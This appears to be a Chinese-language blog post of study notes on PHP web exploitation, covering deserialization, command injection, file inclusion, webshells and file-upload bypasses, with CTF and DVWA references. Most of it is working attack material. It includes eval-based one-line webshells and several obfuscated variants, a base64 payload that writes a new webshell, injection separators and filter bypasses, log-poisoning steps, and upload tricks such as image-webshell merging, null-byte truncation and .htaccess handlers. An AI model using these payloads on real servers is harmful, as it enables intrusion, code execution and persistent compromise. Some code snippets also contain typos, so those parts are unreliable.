matsudaira 发布的文章

序列化原理

序列化是指将对象信息转换为可存储或可传输的过程

序列化之后的对应关系:

布尔:b:value
整数:i:value
字符串:s:length:"value"
数组:a:<length>:{key,value paris}
对象:O:<class_name_length>:
NULL:N

最终格式
<class_name>:<number_of_properties>:{<properties>}

例如下面一个序列化例子

class persion
{
    public $name;
    public $age=19;
    public $sex;
}

serialize()序列化之后:

O:6:"persion":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}
对象:对象名长度:对象名:属性数:{字符串:长度:名字;属性为空;字符串:长度:名字;整数:值;字符串:长度:名字;空;}

利用反序列化漏洞的条件:

  1. unserialize函数的参数可控
  2. php中有可以利用的类并类中有魔术方法

常见魔术方法:

_construst:对象创建
_destrust:对象销毁
_toString:对象被当做一个字符串使用
_sleep:序列化对象前调用(返回一个数组
_wakeup:反序列化恢复对象前调用
_call:调用对象中不存在的方法时自动调用
_get:从不可访问的属性读取数据

技巧

_wakeup失效: PHP5-5.6.25,PHP7.-7.0.10

当属性的个数不正确的时候,PHP不会调用__wakeup

bypass反序列化正则:使用正则/[oc]:\d+:/i来过滤反序列化字符,可以在O字段的对象长度前面加个+来绕过

Exception绕过:假设某类B,其flag在__desturct中,但因为后面又throw导致__destruct不会执行,这是构造属性为O:1:"B":1{1},解析错误但是类名是对的,所以会调用该类的__desturct

index.php
<?php

class SoFun{
  public $file='index.php';
  
  function __destruct(){
    if(!empty($this->file)){
      if(strchr($this-> file,"\\")===false &&  strchr($this->file, '/')===false){
        echo "<br>";
        show_source(dirname (__FILE__).'/'.$this ->file);}
      else
        die('Wrong filename.');
      }
    }
    
  function __wakeup(){ 
    $this-> file='index.php'; 
    }  
    
  public function __toString(){return '' ;}}
       
  if (!isset($_GET['file'])){
    show_source('index.php');
  } 
  else
  { 
    $file = $_GET['file']; 
    echo unserialize($file); 
  } 
?>  <!--key in flag.php-->



在flag.php里面有flag,但是因为wakeup函数的问题,他在反序列化的时候回把file名自动赋值为index.php,这时利用__wakeup()函数的漏洞,即输入错误的属性数,可以导致其不会运行,从而代入flag.php来获取最后的结果

远程命令执行

  1. 与前面的漏洞有些类似,PHP下允许远程命令执行的函数有eval(),assert(),preg_replace(),call_user_func(),如果页面中存在上述函数并且可以被用户控制,同时没有对参数做有效的过滤,那么就可能存在远程命令执行漏洞
  2. eval和assert可以把传进来的字符串当做PHP代码来执行,但是eval参数必须是合法的PHP代码,所以后面必须要加;,而assert则没有那么严格
  3. preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null,含义是搜索subject中的pattern部分用replacement来代替,当$pattern部分存在/e修饰符的时候$replacement的值会被当成PHP来执行,此只适用于5.4以下版本
  4. 其他类似array_map(),call_user_func(),ob_start(),usort()等等函数,都可以利用
  5. PHP的语言特性可以让当前的PHP函数可直接由字符串拼接而成

    <?php
    $a=$_GET['a'];
    $b=$_GET['b'];
    echo $a($b);
    ?>

    提交?a=assert&b=phpinfo()也可以执行

利用漏洞来获取webshell

如果存在远程命令执行漏洞,则我们可以利用这个来获取webshell
fputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>')

当然,如果直接这么提交可能会因为被各种编码过滤而废掉,可以考虑利用chr字符对所有字符进行ASCII编码

eval(cHR(102).CHR(112).CHR(117).....)

这里需要注意引号的问题,单引号当中的变量会被当做字符串不执行直接被系统输出,而双引号中的字段会结果编译器解释后执行,上面fputs第二个值需要被当做字符串直接被输出,如果使用双引号的话会导致错误

系统命令执行

利用PHP的系统命令执行函数来调用系统命令并执行,这类函数有:system,exec,shell_exec,pcntl_exec,popem,proc_open

<?php
if(isset($_POST['submit'])
{
    $target = $_REQUEST['ip'];

    if(stristr(php_uname('s'),'Windows NT'))
    {
        $cmd=shell_exec('ping'.$target);
        echo '<pre>'.$cmd.'</pre>';
    }
    else
    {
        $cmd=shell_exec('ping -c 3'.$target);
        echo '<pre>'.$cmd.'</pre>';
    }
})
?>

如上我们可以看到,ip这个参数在没有做任何过滤之后便跟Ping连接,我们可以使用&&||\;\&|在其后作为分隔,然后输入其他的命令,如127.0.0.1&&ll -a

windows:&&||\%0a

linux:&&||\;$()\ \`\`\%0a\%0d

注释符:
windows::linux#
常用命令:

windows:
cd 切换目录
dir 显示目录中的内容
type 查看文本文件内容
more 逐屏显示文本文件内容
whoami

linux:
pwd 显示路径
ls -a 列出目录中全部内容
cat
tac
tail
more
less

绕过方式:

空格过滤:将命令中的空格过滤掉,使得命令失效。但是在命令中间隔的字符可以不只是空格,例如%20等,另外可以利用bp对%00-%ff之间进行爆破看看哪些有用

windows:
另外可以通过字符串截取的方式来获得空格,例如%ProgramFiles:~10,1%,这条命令代表取%ProgramFiles%的值,一般为C:\Program Files,其第十个字符为空格

Linux:$IFS$9${IFS}\{cmd,args}

读取文件cat<>flag

黑名单

利用变量拼接``a=c;b=at;c=he;d=llo;$a$b $c$d

使用通配符

使用substr()借用别的文件的字符串

原理

假设某一网站代码

<?php 
$file = $_GET["file"];
if($file)
{
    include($file);
}
?>

假设我们给这个file参数传一个../1.php(如果存在这个文件的话),那么我们就能读出这个文件

文件包含的最大特点就是把服务器上的文件包含到当前的页面当中

漏洞利用

文件上传配合文件包含

日志文件包含

需要知道日志文件的位置

通过URL中插入执行代码,将其记录进日志文件,如提交include_xx.php?<?php phpinfo();?>.php时,会被记录如错误日志,这时候访问log的地址,将错误日志包含进当前页面,就可以看见phpinfo()已经执行,同理,也可把这个换成木马

注:url中的代码可能会因为转义而失效,可以在bp中抓包改回来

(1) apache+Linux 日志默认路径
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_log

(2) apache+win2003 日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log

(3) IIS6.0+win2003 默认日志文件
C:\WINDOWS\system32\Logfiles

(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles

(5) nginx 日志文件
日志文件在用户安装目录 logs 目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
web 中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf
或者
index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config

敏感文件包含

利用漏洞,直接读取操作系统中的敏感文件

临时文件包含

通过session之类的的文件,包含后查看有无可以控制的变量,通过控制这些变量值来将恶意代码写入session文件

PHP封装协议包含

File:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径

?page=file:///C:/xxx.txt

?filename=php://filter/convert.base64-encode/resource=xxx.php ?对本地磁盘进行读写

绕过

如果目标有验证防护措施但是不严密,可以考虑利用一些手法绕过

绕过文件后缀名

%00截断,或者unix中可以使用url编码的换行符%0a

通过目录长度限制截断

目录长度的限制会让系统设定固定的后缀名,windows为256位截断,linux可能需要4096,构造一个足够长的、尾巴满足系统过滤要求的文件名,又利用截断把最后无用的后缀给截取掉,那剩下的就是我们想要的了

例如

http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

同理,windows下还可以用.进行截断,要超过256位

远程文件包含

?page=http//www.shangxizhuan.site/xx/xxx.php

如果碰到加后缀名进行限制这种方式,可以考虑使用问号、#、空格来进行绕过?filename=http://www.shangxizhuan.site/xx.txt?

一篇关于文件包含的博客

dvwa

  1. 直接包含
  2. 过滤掉了../,用绝对路径
  3. 直接访问无法访问,用file协议?page=file:///C:/phpstudy_pro/www/hackable/flags/1.php

木马的原理

木马的特点有很多,有大也有小,从一句话木马到有各种丰富功能的大马,形式种类各不相同,web木马执行时必须按照中间件支持的web格式进行解析并执行,在使用过程中,黑客会利用外部参数把操作行为传入到web木马中,web木马再见攻击者传入的参数拼接成系统命令并执行,因此需要调用一些关键函数来执行本身的功能

常见的关键函数:

命令执行类:eval\system\popen\exec\shell_exec

  1. eval(phpcode)
  2. system ( string $command , int &$return_var = ? ) : string,执行外部程序,如果有设置return_var,则执行后的返回状态会设置在这个变量里
  3. popen(command,mode),mode可选r只读或者w只写
  4. exec ( string $command , array &$output = ? , int &$return_var = ? ) : string执行外部程序
  5. shell_exec ( string $cmd ) : string通过shell环境执行命令

文件功能类:fopen\opendir\dirname\pathinfo

  1. fopen(filename,mode,include_path,context)打开一个文件或url
  2. opendir(path,context);打开一个目录,并读取里面的内容
  3. dirname(path)返回路径中的目录部分
  4. pathinfo(path,options)以数组的形式返回目录路径、文件名、文件后缀、不包含后缀的文件名

数据库操作类:mysql_query\mysqli_query

一句话木马

一句话木马的实现方式是定义一个执行页面,并设计一个传参点数以接收外部参数,经典一句话木马<?PHP @eval($_POST['a']);?>,用a接收参数并用eval来执行

当然,上面这个木马特征过于明显,我们必须采用别的方法进行伪装,不然防护设备能将木马轻易的拦下

avatar
使用菜刀连接木马

一般情况下,木马会对当前关键函数进行类型隐藏,如拆分结构再拼接等等,另外变形的常用方法有:

  1. 更换执行数据来源
  2. 字符替换或特殊编码
  3. 采用藏匿手段
  4. 混合上述手段

拆分示例:

<?PHP
$a='assert';
array_map("$a",$_requestion['xx']);
?>

//assert ( mixed $assertion , Throwable $exception = ? ) : bool,assert() 会检查指定的 assertion 并在结果为 false 时采取适当的行动。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
//array_map(myfunction,array1,array2,array3...)array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。

示例二

<?PHP
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST['xixi']);
?>

更换执行数据来源

  1. 利用GET:get与post近似,但是get可以通过url进行传输
<?PHP $_GET[a]($_GET[b]);?>

传参?a=assert&b=${fputs(fopen(base64_decode(YS5waHA=),w),base64_decode(PD9QSFAgQGV2YWwoJF9QT1NUWyd4eCddOz8pPg==))};
//a.php,<?PHP @eval($_POST['xx'];?)>
这个马执行后会生成一个a.php的马

<?PHP @eval($_GET[$_GET[b]]);?>//?b=cmd&cmd=phpinfo()

<script language="php">@eval_r($_GET[b])</script>
  1. 利用session
<?php
session_start();//启动session
$_POST['code'] && $_SESSION['thecode'] = trim($_POST['code']);
$_SESSION['thecode']&&preg_replace('\'a\'eis,'e'.'v'.'a'.'l'.(base64_decode($_SESSION[\'thecode\']))','a');
?>

字符替换或特殊编码

  1. 字符替换
$a = str_replace(x,"","xxaxxsxxexxrxxt")//把x替换掉变成$a=assert
  1. 字符串组合法隐藏关键字
<?php
$str='asrtes';
$funct=$str[0].$str[1].$str[5].$str[4].$str[2].$str[3];
@funct($_POST['xx']);
?>
  1. 编码绕过

<?php @eval(base64_decode('JF9QT1NUWydjJ10='));?>

顺带一提,带base64的我用蚁剑总是连不上,用菜刀倒是可以,不知道是不是我哪里设置的问题...

  1. <?检查绕过

PHP有几种不同的风格,如果他是通过检查<?来判断的话,那可以采用script风格,如<script language='php'>eval($_POST['c']);</script>

顺便再一提,这里我用上面base64,不管菜刀还是蚁剑都连不上.....

原理

文件上传攻击指攻击者利用web引用对上传文件过滤不严的漏洞,将木马等文件上传到web服务器,以获取webshell

例如,一个PHP服务器,我们想要获取webshell最简单的方式就是将一个PHP木马上传到其上,并要求木马在服务器中以后缀为.PHP保存,之后攻击者就可以访问这个木马文件

avatar
上图为文件上传的整个过程和可能存在攻防的地方

上传主要分为三大步骤:

客户端上传功能:用户提交上传表单,利用HTML格式,实现上传格式的编制,再封装到HTTP包中,开始传输

中间件:

接收客户端提交的HTML表单————将表单内容存储为临时文件————根据安全规范,将临时文件保存为正式文件

服务器:存储和调用

一段中规中矩的客户端文件上传功能的代码

<form id="upload-form" action="upload.php" method="post" enctype="multipart/form-data" >
   <input type="file" id="upload" name="upload" /> <br />
   <input type="submit" value="Upload" />
</form>

服务器端功能代码

<?PHP
if(is_upload_file($_FILES["file"]["tmp_name"]))
{
    $upfile=$_FILES["file"];
    $name=$upfile["name"];
    $type=$upfile["type"];
    $size=$upfile["size"];
    $tmp_name=$upfile["tmp_name"];

    $destination="../file/".$name;
    move_uploaded_file($tmp_name,$destination);
}
elese
{
    echo "上传失败";
}
?>

想要进行文件上传攻击需要满足几个条件:

  1. 目标网站具有上传功能
  2. 上传文件能够被web服务器解析执行
  3. 知道文件上传后的存放路径和文件名称
  4. 目标文件可被访问

绕过技术

使用JS脚本进行防护的:

  1. 直接在控制台删除、修改相关代码
  2. 浏览器禁用JS

Apache文件后缀绕过攻击:

Apache的解析顺序是从右往左开始解析文件后缀的,例如1.php.xxsxxx,xxsxxx他不认识,就会继续往左读取php

能够替代使用的后缀名:

.php .php3 .php4 .php5 .pht .phtml -> php文件来执行

.asp .aspx .cer -> asp

IIS、Nginx解析漏洞

IIS6.0中,对于目录名中包含.asp字符串的,那么这个目录下所有文件都会按照asp格式解析,如xxx.asp/ccc.jpg,ccc就会给当成asp文件;;;另外,只要文件名中含有.asp;那么这个文件就会被当做asp文件,如xx.asp;.jpg

IIS7.0/IIS7.5/Nginx0.5.*/Nginx0.6.*/Nginx0.7-0.7.65/Nginx0.8-0.8.37中,(IIS:当Fast-CGI开启,)只要任意文件名的URL后面追加字符串/任意文件.php,那么这个文件就会被当成php来解析,可以利用这个来执行代码在当前服务器生成一个木马

另外低版本Nginx可以通过添加%00.php来进行解析攻击
文件类型绕过攻击:

当用户端上传文件的时候,进行抓包,可以看到HTTP包里面有一个Content-Type这个数据段,这个用于定义网络文件的类型和编码,决定浏览器将以什么形式来读取这个文件。

如果服务器端的代码是通过这个来判断文件类型的(使用$_Files"file"),那么可以通过篡改这个值来达成绕过效果

格式:
Content-Type: text/html; charset=utf-8
Content-Type: multipart/form-data; boundary=something

常用格式:
text/html : HTML格式
text/plain :纯文本格式
text/xml : XML格式
image/gif :gif图片格式
image/jpeg :jpg图片格式
image/png:png图片格式

Content-Type值对照表

另外PHP有一种类似的手法,如果网站使用getimeagesize()来获取图片的长宽高信息,但是非图片没有这些信息,也即如果获取不到想要的信息就会认定他不是图片,不允许上传。我们可以把一个图片的消息和一个webshell合并为一个文件,例如

cat 1.jpg 2.php > 3.php /linux
copy xxx.jpg /a + xxxxx.php /b mm.php

这样函数就能识别到信息然后放行,同时webshell的后缀php也能被解析成脚本文件

大小写混写:

例如将php写成Php,windows不区分大小写,但是linux严格区分,这点需要注意

00文件截断

PHP中%00表示结束符,会把00之后的所有字符都删除,当PHP版本小于5.3.4且magic_quotes_gpc为off状态,我们可以使用这种方式来绕过,例如1.php%00.jpg,在大多数情况下,我们会使用hex形式的%00(bp右键--convert selection--url--url-decode),但是需要注意,这种方法写的文件名在到达$_FILES"file"的时候,00后面的内容已经被截断了,所以过不了这里的检测,所以00截断只能过前面的,过不了后端的检测

但是如果我们在抓包的时候发现文件保存路径暴露了,那我们可以在此处进行截断,例如uploads/xxx.php%00,这里才是决定文件最终命名的地方

另外在php5.3.7之前,shell.php空格.jpg,这里的空格也会被当做终止符号

一篇关于00截断的好文

竞争条件攻击

如果一个网站的判断逻辑是先上传再检查,那么,可以利用这个时间差来进行上传漏洞攻击

<?PHP
fputs(fopen('../shell.php','w'),'<?PHP @eval($_POST[a])?>');
?>

@是忽略错误,eval()可以把字符串作为脚本来执行。

这个脚本的意思是,打开shell.php并把后面的那句马写进去

特殊文件名构造
构造shell.php.空格、shell.php.、shell.php_,windows并不能识别上述后缀机制,后自动去掉.和_,这样可以帮助绕过黑名单

图片木马:
针对对于文件内容的检测,一种是类似上面文件类型绕过类似的,另外,如果检测的是文件头,那么,我们可以修改文件头,先对前面20字节进行替换,后面再插入一句话木马,例如在内容前面添加GIF89a,可以被判定为gif类型

如果当服务器会对文件进行二次渲染,那么需要利用特性来构造木马

二次渲染木马相关博客

avatar

.htaccess文件解析攻击

apache独有,可以配置使得其他一些奇奇怪怪的东西也能被当做php来解析执行

<FileMatch "xx">
SetHandler application/x-httpd-php
</FileMatch>

做出这种修改后,xx便能够被当做php来执行